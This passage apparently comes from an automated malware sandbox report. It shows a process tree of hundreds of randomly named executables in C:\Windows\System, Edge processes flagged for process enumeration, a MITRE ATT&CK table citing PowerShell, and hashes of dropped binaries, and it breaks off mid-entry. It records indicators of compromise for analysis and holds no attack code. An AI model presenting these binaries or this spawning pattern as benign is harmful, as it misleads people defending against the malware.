  C:\Windows\System\woaKGMY.exe
  2⤵
  PID:9224
- C:\Windows\System\efcFfWA.exe
  C:\Windows\System\efcFfWA.exe
  2⤵
  PID:11328
- C:\Windows\System\rFaSqor.exe
  C:\Windows\System\rFaSqor.exe
  2⤵
  PID:10812
- C:\Windows\System\fAcvhdj.exe
  C:\Windows\System\fAcvhdj.exe
  2⤵
  PID:1980
- C:\Windows\System\NuMzopP.exe
  C:\Windows\System\NuMzopP.exe
  2⤵
  PID:8892
- C:\Windows\System\tdcyCVA.exe
  C:\Windows\System\tdcyCVA.exe
  2⤵
  PID:13800
- C:\Windows\System\tDzSWYy.exe
  C:\Windows\System\tDzSWYy.exe
  2⤵
  PID:10660
- C:\Windows\System\azNMFNi.exe
  C:\Windows\System\azNMFNi.exe
  2⤵
  PID:13880
- C:\Windows\System\wrdnvYg.exe
  C:\Windows\System\wrdnvYg.exe
  2⤵
  PID:12268
- C:\Windows\System\iAqPflK.exe
  C:\Windows\System\iAqPflK.exe
  2⤵
  PID:8036
- C:\Windows\System\xfJEEgb.exe
  C:\Windows\System\xfJEEgb.exe
  2⤵
  PID:9212
- C:\Windows\System\ifMqMMR.exe
  C:\Windows\System\ifMqMMR.exe
  2⤵
  PID:11632
- C:\Windows\System\ssphaOX.exe
  C:\Windows\System\ssphaOX.exe
  2⤵
  PID:5148
- C:\Windows\System\ONeJAav.exe
  C:\Windows\System\ONeJAav.exe
  2⤵
  PID:7484
- C:\Windows\System\PKbFdhj.exe
  C:\Windows\System\PKbFdhj.exe
  2⤵
  PID:9136
- C:\Windows\System\NIuqOec.exe
  C:\Windows\System\NIuqOec.exe
  2⤵
  PID:13984
- C:\Windows\System\HFjZWoO.exe
  C:\Windows\System\HFjZWoO.exe
  2⤵
  PID:8528
- C:\Windows\System\eJlcQqj.exe
  C:\Windows\System\eJlcQqj.exe
  2⤵
  PID:4540
- C:\Windows\System\elcEsUU.exe
  C:\Windows\System\elcEsUU.exe
  2⤵
  PID:9196
- C:\Windows\System\jgjQBAH.exe
  C:\Windows\System\jgjQBAH.exe
  2⤵
  PID:5424
- C:\Windows\System\BcNXyKS.exe
  C:\Windows\System\BcNXyKS.exe
  2⤵
  PID:5712
- C:\Windows\System\heMNkMa.exe
  C:\Windows\System\heMNkMa.exe
  2⤵
  PID:4192
- C:\Windows\System\kWmevWw.exe
  C:\Windows\System\kWmevWw.exe
  2⤵
  PID:4064
- C:\Windows\System\iQlYDUH.exe
  C:\Windows\System\iQlYDUH.exe
  2⤵
  PID:13036
- C:\Windows\System\vvPMlwE.exe
  C:\Windows\System\vvPMlwE.exe
  2⤵
  PID:7884
- C:\Windows\System\CpbwUlT.exe
  C:\Windows\System\CpbwUlT.exe
  2⤵
  PID:11416
- C:\Windows\System\KjGBdXx.exe
  C:\Windows\System\KjGBdXx.exe
  2⤵
  PID:5904
- C:\Windows\System\lEPfsQA.exe
  C:\Windows\System\lEPfsQA.exe
  2⤵
  PID:11340
- C:\Windows\System\WYBsgbw.exe
  C:\Windows\System\WYBsgbw.exe
  2⤵
  PID:9092
- C:\Windows\System\nyIiBKo.exe
  C:\Windows\System\nyIiBKo.exe
  2⤵
  PID:7376
- C:\Windows\System\jWDMfYv.exe
  C:\Windows\System\jWDMfYv.exe
  2⤵
  PID:2256
- C:\Windows\System\yiANXpQ.exe
  C:\Windows\System\yiANXpQ.exe
  2⤵
  PID:2052
- C:\Windows\System\BTSZPxq.exe
  C:\Windows\System\BTSZPxq.exe
  2⤵
  PID:8272
- C:\Windows\System\hjksuBA.exe
  C:\Windows\System\hjksuBA.exe
  2⤵
  PID:3288
- C:\Windows\System\CfCxbDy.exe
  C:\Windows\System\CfCxbDy.exe
  2⤵
  PID:14112
- C:\Windows\System\WszVrUk.exe
  C:\Windows\System\WszVrUk.exe
  2⤵
  PID:7188
- C:\Windows\System\ZkcFiUu.exe
  C:\Windows\System\ZkcFiUu.exe
  2⤵
  PID:3580
- C:\Windows\System\EsQFOtu.exe
  C:\Windows\System\EsQFOtu.exe
  2⤵
  PID:10336
- C:\Windows\System\NIfNHvr.exe
  C:\Windows\System\NIfNHvr.exe
  2⤵
  PID:9296
- C:\Windows\System\oGXIRla.exe
  C:\Windows\System\oGXIRla.exe
  2⤵
  PID:14140
- C:\Windows\System\jIrxBIb.exe
  C:\Windows\System\jIrxBIb.exe
  2⤵
  PID:10168
- C:\Windows\System\uyfscaw.exe
  C:\Windows\System\uyfscaw.exe
  2⤵
  PID:9656
- C:\Windows\System\dzqnYwi.exe
  C:\Windows\System\dzqnYwi.exe
  2⤵
  PID:7148
- C:\Windows\System\XonCtbW.exe
  C:\Windows\System\XonCtbW.exe
  2⤵
  PID:8096
- C:\Windows\System\nzTGLmr.exe
  C:\Windows\System\nzTGLmr.exe
  2⤵
  PID:11468
- C:\Windows\System\mFThnls.exe
  C:\Windows\System\mFThnls.exe
  2⤵
  PID:12428
- C:\Windows\System\jWqqWHJ.exe
  C:\Windows\System\jWqqWHJ.exe
  2⤵
  PID:10960
- C:\Windows\System\gdYOdCj.exe
  C:\Windows\System\gdYOdCj.exe
  2⤵
  PID:11700
- C:\Windows\System\GoUXvoP.exe
  C:\Windows\System\GoUXvoP.exe
  2⤵
  PID:12616
- C:\Windows\System\vevEuFP.exe
  C:\Windows\System\vevEuFP.exe
  2⤵
  PID:7132
- C:\Windows\System\qCrqufM.exe
  C:\Windows\System\qCrqufM.exe
  2⤵
  PID:6448
- C:\Windows\System\WydlqcW.exe
  C:\Windows\System\WydlqcW.exe
  2⤵
  PID:14280
- C:\Windows\System\BmUKkxQ.exe
  C:\Windows\System\BmUKkxQ.exe
  2⤵
  PID:10324
- C:\Windows\System\JjjSqmh.exe
  C:\Windows\System\JjjSqmh.exe
  2⤵
  PID:2248
- C:\Windows\System\oEhOckr.exe
  C:\Windows\System\oEhOckr.exe
  2⤵
  PID:11704
- C:\Windows\System\IzonheO.exe
  C:\Windows\System\IzonheO.exe
  2⤵
  PID:11776
- C:\Windows\System\gyNyZxy.exe
  C:\Windows\System\gyNyZxy.exe
  2⤵
  PID:13112
- C:\Windows\System\YCdATDQ.exe
  C:\Windows\System\YCdATDQ.exe
  2⤵
  PID:3268
- C:\Windows\System\eNJgtLf.exe
  C:\Windows\System\eNJgtLf.exe
  2⤵
  PID:9372
- C:\Windows\System\JufCvVh.exe
  C:\Windows\System\JufCvVh.exe
  2⤵
  PID:684
- C:\Windows\System\GrIpGbP.exe
  C:\Windows\System\GrIpGbP.exe
  2⤵
  PID:8228
- C:\Windows\System\fsBDvKp.exe
  C:\Windows\System\fsBDvKp.exe
  2⤵
  PID:11364
- C:\Windows\System\kZqNEXH.exe
  C:\Windows\System\kZqNEXH.exe
  2⤵
  PID:8688
- C:\Windows\System\ZCQZHvr.exe
  C:\Windows\System\ZCQZHvr.exe
  2⤵
  PID:12884
- C:\Windows\System\bBWVKHh.exe
  C:\Windows\System\bBWVKHh.exe
  2⤵
  PID:12680
- C:\Windows\System\PsPlZGf.exe
  C:\Windows\System\PsPlZGf.exe
  2⤵
  PID:12944
- C:\Windows\System\nOcUbun.exe
  C:\Windows\System\nOcUbun.exe
  2⤵
  PID:10604
- C:\Windows\System\VwmGiSV.exe
  C:\Windows\System\VwmGiSV.exe
  2⤵
  PID:13280
- C:\Windows\System\cNJEsZZ.exe
  C:\Windows\System\cNJEsZZ.exe
  2⤵
  PID:10416
- C:\Windows\System\tYRKQYV.exe
  C:\Windows\System\tYRKQYV.exe
  2⤵
  PID:8360
- C:\Windows\System\xeDMJmW.exe
  C:\Windows\System\xeDMJmW.exe
  2⤵
  PID:11028
- C:\Windows\System\gpciwXG.exe
  C:\Windows\System\gpciwXG.exe
  2⤵
  PID:7552
- C:\Windows\System\afkLzZF.exe
  C:\Windows\System\afkLzZF.exe
  2⤵
  PID:11900
- C:\Windows\System\ZsZaswJ.exe
  C:\Windows\System\ZsZaswJ.exe
  2⤵
  PID:13384
- C:\Windows\System\drPzlqB.exe
  C:\Windows\System\drPzlqB.exe
  2⤵
  PID:10980
- C:\Windows\System\GNGCftN.exe
  C:\Windows\System\GNGCftN.exe
  2⤵
  PID:2528
- C:\Windows\System\ndPzyLw.exe
  C:\Windows\System\ndPzyLw.exe
  2⤵
  PID:11236
- C:\Windows\System\oFMjcFK.exe
  C:\Windows\System\oFMjcFK.exe
  2⤵
  PID:10396
- C:\Windows\System\dwqUBJI.exe
  C:\Windows\System\dwqUBJI.exe
  2⤵
  PID:13852
- C:\Windows\System\dQzMPNQ.exe
  C:\Windows\System\dQzMPNQ.exe
  2⤵
  PID:10480
- C:\Windows\System\tPSViLi.exe
  C:\Windows\System\tPSViLi.exe
  2⤵
  PID:8284
- C:\Windows\System\mFSxmVh.exe
  C:\Windows\System\mFSxmVh.exe
  2⤵
  PID:10792
- C:\Windows\System\fjanusQ.exe
  C:\Windows\System\fjanusQ.exe
  2⤵
  PID:5188
- C:\Windows\System\vBlirli.exe
  C:\Windows\System\vBlirli.exe
  2⤵
  PID:9532
- C:\Windows\System\OlDkory.exe
  C:\Windows\System\OlDkory.exe
  2⤵
  PID:5028
- C:\Windows\System\KYavtZU.exe
  C:\Windows\System\KYavtZU.exe
  2⤵
  PID:1556
- C:\Windows\System\DEfUMtF.exe
  C:\Windows\System\DEfUMtF.exe
  2⤵
  PID:4472
- C:\Windows\System\efSpCxV.exe
  C:\Windows\System\efSpCxV.exe
  2⤵
  PID:13292
- C:\Windows\System\DwMrfIw.exe
  C:\Windows\System\DwMrfIw.exe
  2⤵
  PID:12264
- C:\Windows\System\LAbUMtT.exe
  C:\Windows\System\LAbUMtT.exe
  2⤵
  PID:8652
- C:\Windows\System\EvpDgfQ.exe
  C:\Windows\System\EvpDgfQ.exe
  2⤵
  PID:13020
- C:\Windows\System\wHWnKXx.exe
  C:\Windows\System\wHWnKXx.exe
  2⤵
  PID:8632
- C:\Windows\System\NPXBJda.exe
  C:\Windows\System\NPXBJda.exe
  2⤵
  PID:11696
- C:\Windows\System\BRRJivo.exe
  C:\Windows\System\BRRJivo.exe
  2⤵
  PID:9060
- C:\Windows\System\sEApyib.exe
  C:\Windows\System\sEApyib.exe
  2⤵
  PID:12596
- C:\Windows\System\JkXOYNL.exe
  C:\Windows\System\JkXOYNL.exe
  2⤵
  PID:12600
- C:\Windows\System\BqOieXg.exe
  C:\Windows\System\BqOieXg.exe
  2⤵
  PID:8748
- C:\Windows\System\VdRIVDz.exe
  C:\Windows\System\VdRIVDz.exe
  2⤵
  PID:13172
- C:\Windows\System\QuNjTOc.exe
  C:\Windows\System\QuNjTOc.exe
  2⤵
  PID:8900
- C:\Windows\System\AkLlRzG.exe
  C:\Windows\System\AkLlRzG.exe
  2⤵
  PID:7472
- C:\Windows\System\iGtRFMm.exe
  C:\Windows\System\iGtRFMm.exe
  2⤵
  PID:3564
- C:\Windows\System\RNoWSbi.exe
  C:\Windows\System\RNoWSbi.exe
  2⤵
  PID:1664
- C:\Windows\System\zaTSQJJ.exe
  C:\Windows\System\zaTSQJJ.exe
  2⤵
  PID:12492
- C:\Windows\System\tfDyYsA.exe
  C:\Windows\System\tfDyYsA.exe
  2⤵
  PID:1560
- C:\Windows\System\kErRAyH.exe
  C:\Windows\System\kErRAyH.exe
  2⤵
  PID:8380
- C:\Windows\System\vaOZwNw.exe
  C:\Windows\System\vaOZwNw.exe
  2⤵
  PID:7540
- C:\Windows\System\WhPhWkI.exe
  C:\Windows\System\WhPhWkI.exe
  2⤵
  PID:6008
- C:\Windows\System\ajRNbIA.exe
  C:\Windows\System\ajRNbIA.exe
  2⤵
  PID:10620
- C:\Windows\System\RFQRjZX.exe
  C:\Windows\System\RFQRjZX.exe
  2⤵
  PID:6248
- C:\Windows\System\mBKTzJK.exe
  C:\Windows\System\mBKTzJK.exe
  2⤵
  PID:7804
- C:\Windows\System\AJfHTZC.exe
  C:\Windows\System\AJfHTZC.exe
  2⤵
  PID:5652
- C:\Windows\System\IvgVkTX.exe
  C:\Windows\System\IvgVkTX.exe
  2⤵
  PID:5344
- C:\Windows\System\RkGdBuf.exe
  C:\Windows\System\RkGdBuf.exe
  2⤵
  PID:5328
- C:\Windows\System\nmiqQhZ.exe
  C:\Windows\System\nmiqQhZ.exe
  2⤵
  PID:5216
- C:\Windows\System\VhWBDvW.exe
  C:\Windows\System\VhWBDvW.exe
  2⤵
  PID:4976
- C:\Windows\System\dPRkBuE.exe
  C:\Windows\System\dPRkBuE.exe
  2⤵
  PID:10292
- C:\Windows\System\wtPCFpJ.exe
  C:\Windows\System\wtPCFpJ.exe
  2⤵
  PID:4932
- C:\Windows\System\wMoRwSL.exe
  C:\Windows\System\wMoRwSL.exe
  2⤵
  PID:6272
- C:\Windows\System\gIfjTDu.exe
  C:\Windows\System\gIfjTDu.exe
  2⤵
  PID:14128
- C:\Windows\System\jqyQaIy.exe
  C:\Windows\System\jqyQaIy.exe
  2⤵
  PID:8964
- C:\Windows\System\byLlDqE.exe
  C:\Windows\System\byLlDqE.exe
  2⤵
  PID:840
- C:\Windows\System\TMCiCXq.exe
  C:\Windows\System\TMCiCXq.exe
  2⤵
  PID:7372
- C:\Windows\System\YTboNdT.exe
  C:\Windows\System\YTboNdT.exe
  2⤵
  PID:11396
- C:\Windows\System\pQmJgfM.exe
  C:\Windows\System\pQmJgfM.exe
  2⤵
  PID:13176
- C:\Windows\System\ZvZcoqg.exe
  C:\Windows\System\ZvZcoqg.exe
  2⤵
  PID:11484
- C:\Windows\System\TLsSwYS.exe
  C:\Windows\System\TLsSwYS.exe
  2⤵
  PID:11744
- C:\Windows\System\sDVDZLG.exe
  C:\Windows\System\sDVDZLG.exe
  2⤵
  PID:4100
- C:\Windows\System\dVqhuRa.exe
  C:\Windows\System\dVqhuRa.exe
  2⤵
  PID:208
- C:\Windows\System\HtNMaIL.exe
  C:\Windows\System\HtNMaIL.exe
  2⤵
  PID:9556
- C:\Windows\System\PKuXtmK.exe
  C:\Windows\System\PKuXtmK.exe
  2⤵
  PID:12272
- C:\Windows\System\ltRazag.exe
  C:\Windows\System\ltRazag.exe
  2⤵
  PID:11276
- C:\Windows\System\zxgbwOW.exe
  C:\Windows\System\zxgbwOW.exe
  2⤵
  PID:12644
- C:\Windows\System\LCvLNMp.exe
  C:\Windows\System\LCvLNMp.exe
  2⤵
  PID:11228
- C:\Windows\System\TiJhTMW.exe
  C:\Windows\System\TiJhTMW.exe
  2⤵
  PID:10052
- C:\Windows\System\tPDHMvM.exe
  C:\Windows\System\tPDHMvM.exe
  2⤵
  PID:13212
- C:\Windows\System\DaWwLCO.exe
  C:\Windows\System\DaWwLCO.exe
  2⤵
  PID:2820
- C:\Windows\System\NGxjeEg.exe
  C:\Windows\System\NGxjeEg.exe
  2⤵
  PID:12748
- C:\Windows\System\diJnHbK.exe
  C:\Windows\System\diJnHbK.exe
  2⤵
  PID:10096
- C:\Windows\System\jyrXhAg.exe
  C:\Windows\System\jyrXhAg.exe
  2⤵
  PID:12552
- C:\Windows\System\rPsTQKL.exe
  C:\Windows\System\rPsTQKL.exe
  2⤵
  PID:11224
- C:\Windows\System\RwWknos.exe
  C:\Windows\System\RwWknos.exe
  2⤵
  PID:6528
- C:\Windows\System\LYcRIqS.exe
  C:\Windows\System\LYcRIqS.exe
  2⤵
  PID:12528
- C:\Windows\System\iAlWnRY.exe
  C:\Windows\System\iAlWnRY.exe
  2⤵
  PID:12792
- C:\Windows\System\OTipUFc.exe
  C:\Windows\System\OTipUFc.exe
  2⤵
  PID:9456
- C:\Windows\System\sJoAKkz.exe
  C:\Windows\System\sJoAKkz.exe
  2⤵
  PID:10020
- C:\Windows\System\dyPUZyG.exe
  C:\Windows\System\dyPUZyG.exe
  2⤵
  PID:2800
- C:\Windows\System\hhHWfUh.exe
  C:\Windows\System\hhHWfUh.exe
  2⤵
  PID:11464
- C:\Windows\System\mIjXjlr.exe
  C:\Windows\System\mIjXjlr.exe
  2⤵
  PID:11796
- C:\Windows\System\jXyMIzQ.exe
  C:\Windows\System\jXyMIzQ.exe
  2⤵
  PID:11628
- C:\Windows\System\WqHpFQn.exe
  C:\Windows\System\WqHpFQn.exe
  2⤵
  PID:11972
- C:\Windows\System\YLYEKbx.exe
  C:\Windows\System\YLYEKbx.exe
  2⤵
  PID:7360
- C:\Windows\System\IFZzbfH.exe
  C:\Windows\System\IFZzbfH.exe
  2⤵
  PID:9028
- C:\Windows\System\sgXVBqt.exe
  C:\Windows\System\sgXVBqt.exe
  2⤵
  PID:11344
- C:\Windows\System\QFsNlRV.exe
  C:\Windows\System\QFsNlRV.exe
  2⤵
  PID:9164
- C:\Windows\System\vDmwubc.exe
  C:\Windows\System\vDmwubc.exe
  2⤵
  PID:5732
- C:\Windows\System\aABldZm.exe
  C:\Windows\System\aABldZm.exe
  2⤵
  PID:1648
- C:\Windows\System\YHaBfqO.exe
  C:\Windows\System\YHaBfqO.exe
  2⤵
  PID:11524
- C:\Windows\System\UuioCFk.exe
  C:\Windows\System\UuioCFk.exe
  2⤵
  PID:12928
- C:\Windows\System\NXGsPLu.exe
  C:\Windows\System\NXGsPLu.exe
  2⤵
  PID:11528
- C:\Windows\System\CJVMVCO.exe
  C:\Windows\System\CJVMVCO.exe
  2⤵
  PID:11084
- C:\Windows\System\aLQsrSy.exe
  C:\Windows\System\aLQsrSy.exe
  2⤵
  PID:11720
- C:\Windows\System\BjOfakU.exe
  C:\Windows\System\BjOfakU.exe
  2⤵
  PID:6684
- C:\Windows\System\dhIhnCP.exe
  C:\Windows\System\dhIhnCP.exe
  2⤵
  PID:12704
- C:\Windows\System\mWLfcNt.exe
  C:\Windows\System\mWLfcNt.exe
  2⤵
  PID:14288
- C:\Windows\System\nxrjtvQ.exe
  C:\Windows\System\nxrjtvQ.exe
  2⤵
  PID:3516
- C:\Windows\System\ToIIjFw.exe
  C:\Windows\System\ToIIjFw.exe
  2⤵
  PID:4476
- C:\Windows\System\UBgoCKM.exe
  C:\Windows\System\UBgoCKM.exe
  2⤵
  PID:11772
- C:\Windows\System\bUKQPXe.exe
  C:\Windows\System\bUKQPXe.exe
  2⤵
  PID:10996
- C:\Windows\System\SSiNTls.exe
  C:\Windows\System\SSiNTls.exe
  2⤵
  PID:9612
- C:\Windows\System\cSClFPW.exe
  C:\Windows\System\cSClFPW.exe
  2⤵
  PID:13372
- C:\Windows\System\gGvaJlv.exe
  C:\Windows\System\gGvaJlv.exe
  2⤵
  PID:6700
- C:\Windows\System\INPBPEU.exe
  C:\Windows\System\INPBPEU.exe
  2⤵
  PID:10340
- C:\Windows\System\DlFvlsG.exe
  C:\Windows\System\DlFvlsG.exe
  2⤵
  PID:6920
- C:\Windows\System\VRgVWhk.exe
  C:\Windows\System\VRgVWhk.exe
  2⤵
  PID:12556
- C:\Windows\System\omzgMCi.exe
  C:\Windows\System\omzgMCi.exe
  2⤵
  PID:11932
- C:\Windows\System\DPDohyK.exe
  C:\Windows\System\DPDohyK.exe
  2⤵
  PID:14300
- C:\Windows\System\WIWjPcd.exe
  C:\Windows\System\WIWjPcd.exe
  2⤵
  PID:12024
- C:\Windows\System\OsZiqjX.exe
  C:\Windows\System\OsZiqjX.exe
  2⤵
  PID:13496
- C:\Windows\System\klYINYP.exe
  C:\Windows\System\klYINYP.exe
  2⤵
  PID:6372
- C:\Windows\System\xGxuuqA.exe
  C:\Windows\System\xGxuuqA.exe
  2⤵
  PID:13300
- C:\Windows\System\tpdiEps.exe
  C:\Windows\System\tpdiEps.exe
  2⤵
  PID:6916
- C:\Windows\System\OlhFsdV.exe
  C:\Windows\System\OlhFsdV.exe
  2⤵
  PID:1280
- C:\Windows\System\WdCsbnN.exe
  C:\Windows\System\WdCsbnN.exe
  2⤵
  PID:14076
- C:\Windows\System\RrTYyNc.exe
  C:\Windows\System\RrTYyNc.exe
  2⤵
  PID:9096
- C:\Windows\System\gLOUggk.exe
  C:\Windows\System\gLOUggk.exe
  2⤵
  PID:4264
- C:\Windows\System\MrnhHGo.exe
  C:\Windows\System\MrnhHGo.exe
  2⤵
  PID:13216
- C:\Windows\System\Aszgtmh.exe
  C:\Windows\System\Aszgtmh.exe
  2⤵
  PID:11848
- C:\Windows\System\lDWqTSZ.exe
  C:\Windows\System\lDWqTSZ.exe
  2⤵
  PID:10236
- C:\Windows\System\bfvOOOQ.exe
  C:\Windows\System\bfvOOOQ.exe
  2⤵
  PID:4720
- C:\Windows\System\dWqrtHF.exe
  C:\Windows\System\dWqrtHF.exe
  2⤵
  PID:3240
- C:\Windows\System\wBfaQbt.exe
  C:\Windows\System\wBfaQbt.exe
  2⤵
  PID:6440
- C:\Windows\System\AOpvkKr.exe
  C:\Windows\System\AOpvkKr.exe
  2⤵
  PID:14172
- C:\Windows\System\KtdavmO.exe
  C:\Windows\System\KtdavmO.exe
  2⤵
  PID:13876
- C:\Windows\System\iHdWMMF.exe
  C:\Windows\System\iHdWMMF.exe
  2⤵
  PID:7056
- C:\Windows\System\mUpnSFM.exe
  C:\Windows\System\mUpnSFM.exe
  2⤵
  PID:7008
- C:\Windows\System\hzboAzT.exe
  C:\Windows\System\hzboAzT.exe
  2⤵
  PID:13492
- C:\Windows\System\JqCfCZS.exe
  C:\Windows\System\JqCfCZS.exe
  2⤵
  PID:3408
- C:\Windows\System\OYluLee.exe
  C:\Windows\System\OYluLee.exe
  2⤵
  PID:8656
- C:\Windows\System\HYcMMXq.exe
  C:\Windows\System\HYcMMXq.exe
  2⤵
  PID:5524
- C:\Windows\System\QVOefYe.exe
  C:\Windows\System\QVOefYe.exe
  2⤵
  PID:13704
- C:\Windows\System\JBrvyNU.exe
  C:\Windows\System\JBrvyNU.exe
  2⤵
  PID:13296
- C:\Windows\System\fMBWFrH.exe
  C:\Windows\System\fMBWFrH.exe
  2⤵
  PID:14192
- C:\Windows\System\kqMgNop.exe
  C:\Windows\System\kqMgNop.exe
  2⤵
  PID:3344
- C:\Windows\System\qSnTwWZ.exe
  C:\Windows\System\qSnTwWZ.exe
  2⤵
  PID:7588
- C:\Windows\System\hTlrEwS.exe
  C:\Windows\System\hTlrEwS.exe
  2⤵
  PID:14080
- C:\Windows\System\WadQGhA.exe
  C:\Windows\System\WadQGhA.exe
  2⤵
  PID:6844
- C:\Windows\System\sNjnkKA.exe
  C:\Windows\System\sNjnkKA.exe
  2⤵
  PID:9472
- C:\Windows\System\WCTsSlw.exe
  C:\Windows\System\WCTsSlw.exe
  2⤵
  PID:13608
- C:\Windows\System\VyHkbPy.exe
  C:\Windows\System\VyHkbPy.exe
  2⤵
  PID:13684
- C:\Windows\System\OWTIzpT.exe
  C:\Windows\System\OWTIzpT.exe
  2⤵
  PID:14292
- C:\Windows\System\zyKXZZE.exe
  C:\Windows\System\zyKXZZE.exe
  2⤵
  PID:4016
- C:\Windows\System\MeYVxcd.exe
  C:\Windows\System\MeYVxcd.exe
  2⤵
  PID:13832
- C:\Windows\System\trtimnz.exe
  C:\Windows\System\trtimnz.exe
  2⤵
  PID:2096
- C:\Windows\System\TheqUsd.exe
  C:\Windows\System\TheqUsd.exe
  2⤵
  PID:1060
- C:\Windows\System\eTvzmVp.exe
  C:\Windows\System\eTvzmVp.exe
  2⤵
  PID:13712
- C:\Windows\System\RfLGWhx.exe
  C:\Windows\System\RfLGWhx.exe
  2⤵
  PID:14316
- C:\Windows\System\KUDgQmK.exe
  C:\Windows\System\KUDgQmK.exe
  2⤵
  PID:13560
- C:\Windows\System\dIWyGaP.exe
  C:\Windows\System\dIWyGaP.exe
  2⤵
  PID:13940
- C:\Windows\System\NidpnkQ.exe
  C:\Windows\System\NidpnkQ.exe
  2⤵
  PID:13352
- C:\Windows\System\gossOKQ.exe
  C:\Windows\System\gossOKQ.exe
  2⤵
  PID:13532
- C:\Windows\System\CRFnOnG.exe
  C:\Windows\System\CRFnOnG.exe
  2⤵
  PID:4008
- C:\Windows\System\wAuwlWh.exe
  C:\Windows\System\wAuwlWh.exe
  2⤵
  PID:4876
- C:\Windows\System\HrVXoKC.exe
  C:\Windows\System\HrVXoKC.exe
  2⤵
  PID:7348
- C:\Windows\System\YtukIWV.exe
  C:\Windows\System\YtukIWV.exe
  2⤵
  PID:9800
- C:\Windows\System\krPAhdj.exe
  C:\Windows\System\krPAhdj.exe
  2⤵
  PID:13788
- C:\Windows\System\AnwAnsK.exe
  C:\Windows\System\AnwAnsK.exe
  2⤵
  PID:9820
- C:\Windows\System\taGvzpQ.exe
  C:\Windows\System\taGvzpQ.exe
  2⤵
  PID:448
- C:\Windows\System\sKIQSHV.exe
  C:\Windows\System\sKIQSHV.exe
  2⤵
  PID:9200
- C:\Windows\System\vFvBxuv.exe
  C:\Windows\System\vFvBxuv.exe
  2⤵
  PID:1396
- C:\Windows\System\LSnLSJI.exe
  C:\Windows\System\LSnLSJI.exe
  2⤵
  PID:1596
- C:\Windows\System\WRQQQxM.exe
  C:\Windows\System\WRQQQxM.exe
  2⤵
  PID:9824
- C:\Windows\System\YdCRbhv.exe
  C:\Windows\System\YdCRbhv.exe
  2⤵
  PID:5348
- C:\Windows\System\XkAEyzo.exe
  C:\Windows\System\XkAEyzo.exe
  2⤵
  PID:9716
- C:\Windows\System\xBTCJyc.exe
  C:\Windows\System\xBTCJyc.exe
  2⤵
  PID:7012
- C:\Windows\System\SaLMCMH.exe
  C:\Windows\System\SaLMCMH.exe
  2⤵
  PID:2012
- C:\Windows\System\fYsbqXj.exe
  C:\Windows\System\fYsbqXj.exe
  2⤵
  PID:6560
- C:\Windows\System\rQxdtPI.exe
  C:\Windows\System\rQxdtPI.exe
  2⤵
  PID:9144
- C:\Windows\System\bJbPiJB.exe
  C:\Windows\System\bJbPiJB.exe
  2⤵
  PID:5168
- C:\Windows\System\CSHOiQN.exe
  C:\Windows\System\CSHOiQN.exe
  2⤵
  PID:6376
- C:\Windows\System\FxmuBjb.exe
  C:\Windows\System\FxmuBjb.exe
  2⤵
  PID:824
- C:\Windows\System\rmKpepl.exe
  C:\Windows\System\rmKpepl.exe
  2⤵
  PID:14148
- C:\Windows\System\TGxbJiz.exe
  C:\Windows\System\TGxbJiz.exe
  2⤵
  PID:14088
- C:\Windows\System\ziCpSnD.exe
  C:\Windows\System\ziCpSnD.exe
  2⤵
  PID:13332
- C:\Windows\System\azgFWhj.exe
  C:\Windows\System\azgFWhj.exe
  2⤵
  PID:13756
- C:\Windows\System\bZoFIVt.exe
  C:\Windows\System\bZoFIVt.exe
  2⤵
  PID:12448
- C:\Windows\System\YYDlecL.exe
  C:\Windows\System\YYDlecL.exe
  2⤵
  PID:11680
- C:\Windows\System\xVHusfI.exe
  C:\Windows\System\xVHusfI.exe
  2⤵
  PID:14176
- C:\Windows\System\CyIVoqo.exe
  C:\Windows\System\CyIVoqo.exe
  2⤵
  PID:11716
- C:\Windows\System\SPaNGGK.exe
  C:\Windows\System\SPaNGGK.exe
  2⤵
  PID:10188
- C:\Windows\System\yshisiN.exe
  C:\Windows\System\yshisiN.exe
  2⤵
  PID:7496

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=1036,i,6576818814118437872,11004518367271063231,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:8
1⤵
PID:8792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --exception-pointers=125928443658432 --process=260 /prefetch:7 --thread=1600
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:12768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xlf3zmi.f2v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\EXRAKZN.exe

Filesize
1.7MB

MD5
44b49801b5a7f1ecb955d57b764c8475

SHA1
ea40751aeeb2c15bbb1a9dad1997c4a56c2c50ab

SHA256
3aded3c0c96ede2559fac6051aa4c0d6b73ba4840596ea6143bc07995f3cd631

SHA512
a77f98b10fb754a0318f3dcb6ed09cf417c16ccabf456dee41aa992c4de7bbd39978d50daad47098fdf71109d31e71ce7c2eccc3b4ce20a284ba363627c34b43

Download Submit
C:\Windows\System\EsTplEm.exe

Filesize
1.7MB

MD5
f238647dc97ae9fa00ca69f17ccc19ec

SHA1
f3ee9a092be04045ee40a88c49761b0e1184dd1c

SHA256
2f673ad602bc406a92594b8fc2e50dce3afc2812eefafc40102ccf335801807d

SHA512
2ffa8ec6b9010b5ccead666c26ecaba34807abd890bfbf8ee0d8c6de689a5987dfc2844bf0a60ad393f894251f0e46038d4b9aebd3ef9397d649484910082242

Download Submit
C:\Windows\System\EyODmqu.exe

Filesize
1.7MB

MD5
ee1956708aff5660cab3af579502881e

SHA1
4dc5dcf2480f1301ab47975978883e3eb0d2d84d

SHA256
